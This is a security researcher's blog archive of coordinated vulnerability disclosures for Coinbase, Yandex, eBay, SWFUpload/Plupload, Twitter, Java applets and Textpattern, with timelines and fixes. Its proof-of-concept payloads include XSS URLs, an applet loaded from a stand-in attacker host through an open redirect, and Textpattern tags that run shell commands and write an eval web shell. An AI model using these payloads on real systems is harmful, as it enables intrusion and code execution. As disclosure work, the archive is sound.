Tag: csrf
2013
06.04

Summary

At the beginning of May I found and reported a security vulnerability in Coinbase, a Bitcoin exchange. The vulnerability I reported allowed an attacker to steal the CSRF token for the currently logged in user, which meant that an attacker could bypass the site’s CSRF protection. Coinbase acknowledged the report and fixed the underlying vulnerability.

Details

Several URLs on coinbase.com used to return valid JavaScript which was intended to populate modal dialog boxes on the site. One example of such a URL was https://coinbase.com/api_key. The content of those dialog boxes was generated dynamically based on the currently logged in user.

If the dialog box contained a form, the complete HTML for that form was included in the response. That HTML included a hidden form field (authenticity_token) which is the CSRF token used by the site for that user. Because these URLs returned valid JavaScript via a GET request, a third-party website (whether malicious or benign) could extract the HTML for the dialog box, including the CSRF token.

For example, here is what I saw when I browsed to https://coinbase.com/api_key:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
$('#api_key_modal').html("<div class=\"modal-header\">\n
  <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\">&times;<\/button>\n
  <h4>Show API Key<\/h4>\n
<\/div>\n
<div class=\"modal-body\">\n
  <form accept-charset=\"UTF-8\" action=\"/api_key/authenticate\" class=\"form-inline\" data-remote=\"true\" method=\"post\">
<div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"&#x2713;\" />
<input name=\"authenticity_token\" type=\"hidden\" value=\"qGeCEw6MkTPZt2dLZJ43ftXmR36gYYNXWRwywKcsxE4=\" />
<\/div>\n
    \n
    \n
    <p>Please type your password to continue.<\/p>\n
    <p>\n
      <input class=\"focus\" id=\"password\" name=\"password\" placeholder=\"password\" type=\"password\" />\n
      <a href=\"#\" class=\"btn btn-primary submit-form\" data-disable-with=\"Verify\">Verify<\/a>\n
    <\/p>\n
<\/form><\/div>\n
<div class=\"modal-footer\">\n
  <a href=\"#\" class=\"btn\" data-dismiss=\"modal\">Close<\/a>\n
<\/div>");
$('#api_key_modal').modal('show');

Other sensitive information could also be disclosed under limited circumstances. For example, if the user had authenticated to see their API key the dialog box would not have prompted for authentication, as it does above, but instead would return the account’s API key.

The solution here was simple: the server-side scripts should not have been returning valid JavaScript as part of a GET request. The Coinbase developers have modified all of their dialog endpoints to require a POST request, which prevents them from being loaded via a <script> tag.

Disclosure Timeline

  • May 1st, 3:18 PM: Submitted basic details of vulnerability to whitehat@coinbase.com.
  • May 1st, 9:56 PM: Sent clarification of initial report, including additional information about CSRF leakage.
  • May 6th, 5:03 PM: Sent followup email, asking for feedback on the initial report.
  • May 6th, 5:04 PM: Provided additional vulnerable URL, as well as clarification of the initial report.
  • May 7th, 12:24 AM: Received reply: “Thank you for the disclosure, we appreciate it. This issue was already reported by others and we are working on a fix.”
  • May 19th, 6:44 PM: Informed Coinbase of intentions to publish this blog post on May 28th.
  • May 28th, 9:00 AM: Discovered that developers had attempted to patch the website but that they had forgotten to remove an endpoint.
  • May 28th, 9:29 AM: Emailed Coinbase to inform them of the incomplete patch. Informed them that publication of the blog post would be delayed by a week so they would have time to fix the vulnerability.
  • June 4th, 12:00 AM: Confirmed that final endpoint had been patched.
  • June 4th, 12:45 AM: Public disclosure via blog post
2013
04.16

Summary

I reported 3 vulnerabilities to the Yandex bug bounty program shortly after it launched in September. It has taken almost 6 months to resolve the issues completely, thanks to some mis-communication and a lack of followup on my part. Overall my experience was not too negative, but I would not recommend the program to other researchers.

Vulnerability #1: Reflected XSS in pass.yandex.ru

This was a fairly straightforward reflected XSS vulnerability. Browsing to https://pass.yandex.ru/login?retpath=http://yandex.ru/%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E in Firefox would lead to a JavaScript alert box being displayed in the browser.

According to the Yandex security team my report was a duplicate: this makes sense given the simplicity of the vulnerability. This vulnerability has been patched.

Vulnerability #2: CSRF in passport.yandex.com

Again, a fairly straightforward vulnerability. The form for updating personal information (first/last name, city, etc) was not protected against a CSRF attack.

When I initially reported this vulnerability to Yandex I never received a reply. I failed to follow up until 3 months later; at that point, I was told that only my reflected XSS report was showing up in their system. I used their feedback form to submit all three reports separately; in retrospect I should have sent it via email.

Regardless, when I followed up I noted that the CSRF issue had been fixed but that the solution was vulnerable to clickjacking. That report was declared a duplicate (again, makes sense given the simplicity of the vulnerability and the amount of time that had passed) and I was told of plans to add an X-Frame-Options header to protect against clickjacking. So far the header has not been added and the vulnerability still exists.

Vulnerability #3: Email header splitting via mail.yandex.com

This vulnerability was the most complicated of the three that I submitted. When sending an email on mail.yandex.com, a POST request is made to https://mail.yandex.com/neo2/handlers/do-send-json.jsx. The from_name parameter sent as part of that request did not escape newline characters, which allowed an attacker to forge the From: header in an email and include arbitrary additional headers in the email.

I again failed to follow up until 3 months after my initial report. At that point I was told:

We cannot verify the security issue you have reported because it is unexploitable.
Every person can do it (add various headers) with tool like Telnet by connecting SMTP server.
If you can describe how it can be exploitable by malicious man don’t hesitate to contact us.

I pointed out that most other web-based email clients (eg: Gmail, etc) do not allow you to specify an arbitrary From: header. Subsequently I received a followup email telling me that I was eligible for a reward of $160.

Disclosure Timeline

  • September 23rd, 2012: Reports sent to Yandex via submission form.
  • September 25th, 2012: Reply from Yandex indicating that the reflected XSS report was a duplicate.
  • January 16th, 2013, 12:26 AM: Retested previously reported vulnerabilities. Sent followup email to Yandex security team, asking for updates on previous reports / providing feedback based on retest).
  • January 16th, 2013, 6:00 AM: Received reply from Yandex indicating that only one of my initial three reports was received. Responded to the other two “new” reports (details outlined previously above).
  • January 16th, 2013, 10:03 AM: Replied with feedback regarding email header splitting vulnerability.
  • January 16th, 2013, 11:04 AM: Reply from Yandex acknowledging that email header splitting vulnerability was eligible for a reward.
  • February 16th, 2013: Sent followup to Yandex, asking for update on reward and on patches for vulnerabilities.
  • March 1st, 2013: Sent email to Yandex informing them of plans to publish this post on April 16th, 90 days after the followup on January 16th.
  • March 8th, 2013: Reply from Yandex acknowledging the reward and asking me to inform them again once the post is published.
  • March 12th, 2013: Reply from Yandex, bounty money has been transferred to my account.
  • April 16th, 2013: Published this blog post.
2013
03.14

Summary

In mid-2012 I discovered and reported a combination of CSRF and persistent XSS on my.ebay.com. This report was quickly acknowledged by eBay but the vulnerabilities have not been fixed almost a year after the initial disclosure. To mitigate the potential risk, I would recommend that users log out of their eBay accounts when browsing other websites.

Details

The my.ebay.com website has a section in the left sidebar called “Shortcuts.” These shortcuts, by default, are pre-defined links to sections of eBay. It is possible for a user to edit the list of shortcuts and to add their own, pointing to arbitrary URLs.

I reported two distinct but related vulnerabilities to eBay:

  1. It is possible to create a shortcut that will execute JavaScript when clicked on by writing a somewhat convoluted JavaScript URL: the example I used was javascript://%0D%0Aalert(document.domain);. A URL in this format allows me to evade eBay’s filters but still have JavaScript execute in the latest versions of Firefox, Chrome, and IE. A slightly more detailed explanation of how this URL works can be found at http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248.
  2. The endpoints that eBay uses to add a shortcut and to remove existing shortcuts are vulnerable to a CSRF attack.

Taken together, these vulnerabilities allow me to create a shortcut on a logged-in eBay user’s account that, when clicked, executes JavaScript.

Because the vulnerabilities remain unpatched I will not be publishing the proof of concept code that I sent to eBay.

Disclosure Timeline

  • May 11th, 2012, 11:56 AM: Submitted details of vulnerability via “Security Researchers” form.
  • May 11th, 2012, 3:12 PM: Reply from eBay. Report acknowledged, details forwarded to engineering team.
  • May 23rd, 2012: Sent followup asking for any updates.
  • May 24th, 2012, 5:09 PM: Asked to provide more details (screenshot, more explicit steps to reproduce) to assist in reproducing the issue.
  • May 24th, 2012, 5:23 PM: Sent reply containing screenshot and more explicit steps to reproduce the issue.
  • June 9th, 2012: Sent followup asking for any updates.
  • June 11th, 2012: According to eBay’s responsible disclosure guidelines, this issue may be discussed publicly (“Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others”).
  • June 12th, 2012: Reply received from eBay: “Not yet. We’ll let you know when this is resolved.”
  • February 8th, 2013: Sent followup asking for any updates. Advised eBay of plans to publish details of the vulnerability within a week.
  • February 11th, 2013, 4:19 PM: Received reply from eBay. Asked to adhere to their responsible disclosure guidelines and not to disclose the details of the issue until it has been fixed. Offered “to send [me] some eBay branded gifts and acknowledge [me] on [their] Security Researcher’s Acknowledgment page once this vulnerability is fixed”.
  • February 11th, 2013, 4:31 PM: Reply sent. Pointed out that responsible disclosure guidelines do not preclude me from talking about an issue that was reported 8+ months prior. Agreed to hold off discussing the issue until March 14th.
  • February 11th, 2013, 5:12 PM: Received acknowledgement of reply.
  • February 15th, 2013: Received “eBay branded gifts” in mail.
  • March 14th, 2013, 4:50 PM: Confirmed vulnerabilities remain unpatched. Published blog post. Contacted eBay to inform them about the post.
  • March 14th, 2013, 10:19 PM: Reply from eBay indicating vulnerability is patched. Confirmed that some vulnerable functionality (ability to define shortcuts with arbitrary URLs) has been removed.

Note: I have replaced a link in the Disclosure Timeline with a link to the Internet Archive’s version of the same page. eBay decided to silently change its responsible disclosure guidelines between February 11th and March 14th.

The original text of their “guidelines for responsible disclosure”:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

The new text:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • We request that you wait until notified that the vulnerability has been resolved before disclosing it to others. We take the security of our customers very seriously, however some vulnerabilities take longer than others to resolve. There are several teams involved in working on these vulnerabilities depending on which site has the vulnerability and what function is being exploited.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

Because I disclosed this issue to eBay prior to the changes to the policy, I will be leaving this post public.

Note 2: I received the following email from eBay:

Hi Neal,

We thank you for your work and your dedication to keeping the eBay community secure. We prefer that security-related information is always kept confidential. The technical teams verified the fix is working in production. Please verify.

eBay Security Research

The functionality for creating a new shortcut to an arbitrary URL appears to have been entirely removed from the site. That means there is no way to introduce a persistent XSS payload to the site. The rest of the vulnerability (the CSRF which controls which shortcuts are displayed) still functions, but is no more than a minor annoyance.

The disclosure timeline has been updated to reflect these developments.

2012
05.17

Summary

Nathan Partlan and I discovered and reported vulnerabilities in two common Flash applets, SWFUpload and Plupload. SWFUpload’s developers have not released a fix for the XSS issue identified. Plupload’s developers have released v1.5.4 to address the identified CSRF issue.

Both of these applets are present in Wordpress installations. These vulnerabilities were addressed as part of Wordpress 3.3.2.

Vulnerability #1: XSS in SWFUpload (CVE-2012-3414)

The latest version of SWFUpload (ActionScript code available here) contains the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Get the movie name
this.movieName = root.loaderInfo.parameters.movieName;

// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";

Each of those callbacks is used as the first parameter to ExternalInterface.call, which executes JavaScript in the context of the current page. Since movieName is derived from user input (a Flash parameter) and a Flash applet can be loaded directly (with parameters in the URL), the Flash applet allows for reflected cross-site scripting. For sites where the applet is hosted on the same domain as the main website, this is a serious security concern.

At this point, I’m not aware of a patched version of the applet source (let me know in the comments if there is one!). My suggestion would be to filter the movieName parameter so that only alpha-numeric characters are allowed.

Proof of Concept: http://demo.swfupload.org/v220/swfupload/swfupload.swf?movieName=%22%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

Vulnerability #2: CSRF in Plupload (CVE-2012-3415)

The Plupload applet called Security.allowDomain('*') to allow the applet to be used from any domain (so it could be served from S3, for instance). That meant people could interact with the Plupload applet from any other site on the Internet by embedding it on a page and using JavaScript. But due to the way the same-origin policy works in Flash, the applet could still make requests back to the domain on which it was hosted. In addition, people can specify the full URL for an upload request via JavaScript and the result of that request (ie: the HTML of the resulting page) is passed back via JavaScript to the embedding page.

So, if an attacker could convince a target to interact with the applet (by selecting a single file to be uploaded), the attacker could make a request to the domain that the applet was hosted on and read back the full response. That could disclose CSRF tokens or other sensitive information. This issue was especially important for Wordpress installations, where Plupload applets are hosted inside of the wp-includes directory by default.

The issue was resolved by removing the call to Security.allowDomain('*') by default.

Conclusion

Third-party Flash applets are vulnerable to many of the same sorts of attacks as other parts of web applications. However, they are often included in sites without a proper understanding of the security risks.

Update (08/01/2012): I’ve updated the post to include the CVE identifiers assigned to these vulnerabilities.

2012
04.13

Summary

I recently reported two separate and distinct security vulnerabilities to Twitter: one involving the Twitter API and one involving Twitter’s translation site, http://translate.twttr.com. As a result of one (or both) of these reports, I was added to Twitter’s White Hat page.

Issue #1: CSRF / Logic Error in OAuth Token Revocation

  1. I noticed that the endpoint for revoking an OAuth app’s authorization (https://twitter.com/oauth/revoke?token=token=SOME-VALUE) could be accessed successfully via a GET and without any sort of CSRF token. Note that the same endpoint is used for revoking and for “undoing” a revocation: the action taken depends on the state of the token.

    That meant an attacker could trick a user into revoking and/or reauthorizing an application that the user had previously accepted. However, the attacker would have to discover the token value: it wasn’t clear to me if that value was disclosed to a client application or not.

  2. I noticed that once an authorization had been revoked, the revocation could be undone for a fairly long period of time (at least a day). That behavior was not obvious from the Twitter UI.

Taken together, those vulnerabilities allowed a malicious application (which knew the token value) to prevent itself from being deauthorized; if it detected that a user had revoked its access, it could have used the CSRF attack to reauthorize itself. The CSRF vulnerability now appears to have been patched.

Issue #2: Reflected XSS on http://translate.twttr.com

(Note: I didn’t take notes on this vulnerability, so my recollection is slightly hazy)

The forum on the translation site (http://translate.twttr.com/cms/forum/) allows users to post a limited subset of HTML. It used a widget (I believe it was a version of TinyMCE) to allow for easy formatting of posts. Unfortunately, this widget would render some HTML tags containing malicious content (ie: <iframe> tags with an src of javascript:alert(1)). The widget appears to have been removed.

2012
03.31

Summary

Lately, there have been a few discussions on Hacker News about Cross-Site Request Forgery (CSRF).[1], [2] In those discussions, I noticed that several commenters (and blog post authors) were advocating for the use of X-Frame-Options as a mitigation technique.[3], [4], [5], [6] Unfortunately, while X-Frame-Options is meant to mitigate a similar type of attack (clickjacking), it provides no protection whatsoever against CSRF. This blog post is intended to provide some background resources on CSRF and clickjacking, as well as explain how X-Frame-Options fits in as a mitigation technique.

So what is CSRF?

See OWASP, Freedom to Tinker, and Chris Shiflett’s site for some solid explanations of CSRF.

In summary, a CSRF vulnerability is when a third-party website (evil-attacker.com) can convince your browser to make a request to a site where you’re already logged in (good-site.com) and that site accepts the request as if you had initiated it yourself.

So what is clickjacking?

See OWASP and SecTheory.com for some good explanations of the issues at hand.

In summary, a clickjacking vulnerabilities involves an attacker convincing you to initiate a request to a site (good-site.com) by interacting with UI elements on that site when you think you’re actually interacting with another site (say, evil-attacker.com).

Wait, those sound pretty similar

Yes, they do. But there is a very important distinction between them: a clickjacking attack requires the victim to interact with UI elements on a targeted website, whereas CSRF does not inherently require interaction on the victim’s part.

So how does X-Frame-Options fit in?

X-Frame-Options is a mitigation technique for clickjacking attacks. It is an HTTP response header sent by the server to indicate under what circumstances page contents should be displayed in a frame context. A browser that understands the header will not display the contents of a page if the header directive is violated (for instance, if evil-example.com puts good-site.com in an iframe but good-site.com sends a header that says X-Frame-Options: DENY. Thus, no clickjacking can occur because no UI elements can be displayed to a victim.

It provides no protection against CSRF. Why? Because CSRF isn’t concerned with the display of a page. In a CSRF attack, the attacker doesn’t care about the response at all: the request is the only important thing. Thus, X-Frame-Options can provide no protection and no mitigation for CSRF.

2011
10.18

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

  1. Writes a malicious Java applet that accesses http://example.com
  2. Uploads that applet to http://evildomain.com/evil.jar
  3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)
  4. Creates a malicious page anywhere on the Internet containing the following HTML:

    1
    2
    3
    4
    5
    <applet
    code="CSRFApplet.class"
    archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar"  
    width="300"
    height="300"></applet>
    

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

  • December 28th, 2010: Vulnerability discovered
  • January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
  • January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
  • January 12th, 2011: Vendor acknowledges receipt of email
  • January 25th, 2011: Followup email sent to vendor, inquiring about status
  • January 26th, 2011: Vendor replies: issue is still being investigated
  • February 15th, 2011: [A Java SE Critical Patch Update is released][]
  • March 15th, 2011: Followup email sent to vendor, inquiring about status
  • March 18th, 2011: Vendor replies: issue is still being investigated
  • March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
  • April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!

2011
05.26

Summary

Back in March, I determined that the Textpattern blogging software contained a number of very serious security vulnerabilities, including a remote code execution vulnerability that affected every single version of the software ever released (since September 2004). In response to my report, the Textpattern developers released a new version of the software, 4.4.0, which contained fixes for almost all of the vulnerabilities. One outstanding vulnerability has been patched in SVN and should be a part of the next release.

What were the vulnerabilities?

I reported a total of 12 issues to the Textpattern developers:

1. Lack of CSRF Protection

Textpattern does not contain any mechanism for protecting against cross-site request forgery (CSRF) attacks. This vulnerability allows for everything from privilege elevation (via a CSRF attack on the “Add User” page) to arbitrary code execution (via use of the <txp:php> tag, a Textpattern template tag that allows for code execution).

This issue was not addressed in version 4.4.0, but the developers have subsequently added support for CSRF tokens in SVN (see r3528-r3557).

2. Arbitrary code execution for unauthenticated users via <txp:php> and form previews

textpattern/index.php contained the following code, which was meant to provide a preview of an updated Textpattern form, near the very top of the file:

1
2
3
4
5
6
<?php
if (isset($_POST['form_preview'])) {
    include txpath.'/publish.php';
    textpattern();
    exit;
}

That code was executed prior to authentication checks being run. In addition, forms are allowed (by default) to use a special template tag, <txp:php>, which executes PHP code. As a result, an unauthenticated attacker could execute arbitrary code on a server running Textpattern by submitting a modified POST request containing <txp:php> tags.

Although support for <txp:php> tags can be disabled on a per-site basis, other vulnerabilities (#3 / #4 on this list) allowed that protection to be bypassed.

This vulnerability was patched for version 4.4.0. In researching this vulnerability, I discovered that it had existed since the first version of Textpattern was released.

3. Textpattern tag system allows for code execution

Due to a design flaw in Textpattern’s tag system, it was possible to build a tag that would execute arbitrary PHP without using <txp:php>. The bad code was in the processTags function in textpattern/publish.php:

1
2
3
4
5
<?php
if (function_exists($tag))
{
    $out = $tag(splat($atts), $thing);
}

In other words, a tag like <txp:some_function a="b" c="d">some text</txp:some_function> would try to execute the PHP function some_function, passing in the attributes ($atts) as a PHP array and the inner content as a string. Textpattern template tags were just regular PHP functions that accepted at most two parameters.

But guess what? Other functions also follow this pattern: array_filter, array_walk, usort, uksort, and uasort all accept an array and a callback function as their parameters.

So, placing the following tag on a page would result in shell commands being run and the results being displayed in the response:

1
<txp:array_filter 0="whoami" 1="ls -al">passthru</txp:array_filter>

This tag would create a page, test.php, that calls eval on user input, allowing for arbitrary code execution (eval can’t be called directly since it’s a language construct, not a function).

1
<txp:array_filter 0='echo "<?php eval($_GET1); ?>" > test.php'>passthru</txp:array>

A partial fix for this vulnerability was released as part of version 4.4.0. The code now uses get_defined_functions to avoid calling the internal functions mentioned above. However, there is still no whitelist of valid functions for the Textpattern parser to call: all user-defined PHP functions are considered fair game. If the codebase contained a function that looked like the evil function defined below, for instance, sites would again be vulnerable.

1
2
3
4
5
<?php
function evil($array, $callback)
{
    return array_filter($array, $callback);
}

This vulnerability, just like #2, has existed since Textpattern was first released.

4. Attacker can bypass <txp:php> settings

Remember how I just said that any user-defined PHP function could be called as a tag, provided it accepts the right number of parameters (<= 2)? Well, a function inside of Textpattern made it possible to bypass configuration settings and reliably execute code via the <txp:php> tag.

The function was named fileDownloadFormatTime and it looked like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
function fileDownloadFormatTime($params)
{
    global $prefs;

    extract($params);

    if (!empty($ftime))
    {
        return !empty($format) ?
            safe_strftime($format, $ftime) : safe_strftime($prefs['archive_dateformat'], $ftime);
    }
    return '';
}

What’s so special about this function?

  1. It calls extract on $params, which is provided by the user as input. extract, by default, will overwrite (clobber) the values of variables in the current scope. Inside a function, that’s not a huge deal: however, $prefs is marked as a global variable here, which means it can be overwritten and the new value will be persisted.
  2. $prefs['allow_page_php_scripting'] and $prefs['allow_article_php_scripting'] are supposed to be boolean values that indicate whether or not <txp:php> tags are allowed in a particular context.

So, by calling fileDownloadFormatTime with an attribute named prefs, it was possible to overwrite the $prefs variable. If the variable was overwritten with the correct value (eg: 1), $prefs['allow_page_php_scripting'] and $prefs['allow_article_php_scripting'] would be enabled, allowing PHP execution in subsequent tags. An example is below:

1
2
<txp:fileDownloadFormatTime prefs="1"></txp:fileDownloadFormatTime>
<txp:php>phpinfo();</txp:php>

This issue was fixed for version 4.4.0 over the course of several different SVN revisions.

  1. r3506 changed the call to extract so it could not be used to overwrite $prefs
  2. r3495 and r3496 added calls in strategic locations to explicitly verify that $prefs is an array, as it should be.

5. File Uploader allows for arbitrary file uploads

The file uploader, which is accessible to all authenticated users except for freelancers, does not perform filtering on the extensions of uploaded files. By default, the files are publicly accessible in the files/ directory of the Textpattern install. That means a malicious user can, depending on the extension of the file they upload:

  1. Execute arbitrary PHP
  2. Execute arbitrary Javascript by uploading an HTML file
  3. Perform CSRF / XSS by uploading an SWF file

Unfortunately, this vulnerability was not fully addressed in the 4.4.0 release. r3484 added a .htaccess file to the files/ directory that would have blocked direct access. However, after a small outcry in the Textpattern forums, r3501, r3502, and r3503 renamed the .htaccess file to .htaccess-dist and added a note to the README file suggesting that people should use it. That means installs are vulnerable to this kind of attack by default. The only mitigating factor is that file uploads are restricted to non-freelance level users (they are still CSRF-able though!).

6. Image Uploader allows for SWF uploads

The image uploader, which is accessible to all authenticated users except for freelancers, does perform filtering on the extensions of uploaded files. However, it allows SWF files, which can be used to perform CSRF and XSS attacks. This issue is otherwise identical to #5.

7. Persistent XSS via Articles

HTML in articles is not subject to any sort of filters. As a result, it’s possible for a freelancer to add a malicious Javascript payload to his/her article: when another user looks at the article preview, that Javascript will be executed. Due to the lack of CSRF protection, an attacker could trick an authenticated user into creating such an article.

This issue has not been addressed in 4.4.0. The development team is currently investigating possible HTML filtering libraries (ie: htmLawed).

8. Reflected XSS in textpattern/include/txp_page.php

The following fragment of code was found in textpattern/include/txp_page.php. $name was derived from user input and was not properly sanitized.

1
2
3
<?php
$buttons = '<div
    class="edit-title">'.gTxt('you_are_editing_page').sp.strong($name).'</div>';

This vulnerability was resolved for version 4.4.0.

9. Directory Traversal via Uploaded Files

When editing uploaded files (possible for everyone except freelancers), it was possible to manually edit the ‘filename’ parameter. This parameter was vulnerable to a directory traversal attack: by using ../ to change the relative path, it was possible to access any file on the filesystem which the webserver could read. The file_download URL handler would then serve up that file without question, even to unauthenticated users. This attack made it possible to grab the contents of the Textpattern config file, /etc/passwd, etc. Due to the lack of CSRF protection, an attacker could trick an authenticated user into creating such a malicious download.

This vulnerability was resolved for version 4.4.0.

10. Passwords stored insecurely

Account passwords were stored in lower-case and hashed using the PASSWORD function for MySQL. Passwords should always be case sensitive and the MySQL PASSWORD function should not be used for a web application (see http://dev.mysql.com/doc/refman/5.1/en/encryption-functions.html#function_password).

This vulnerability was resolved for version 4.4.0 through the use of phpass.

11. $txp_user not consistently escaped in SQL

Textpattern does not make use of stored procedures and prepared statements due to the age of its codebase; instead, it uses string concatenation combined with manual escaping. There were several places in the code where $txp_user, the username of the currently logged in user, was not properly escaped.

This vulnerability was resolved for version 4.4.0.

12. GET requests modify application state

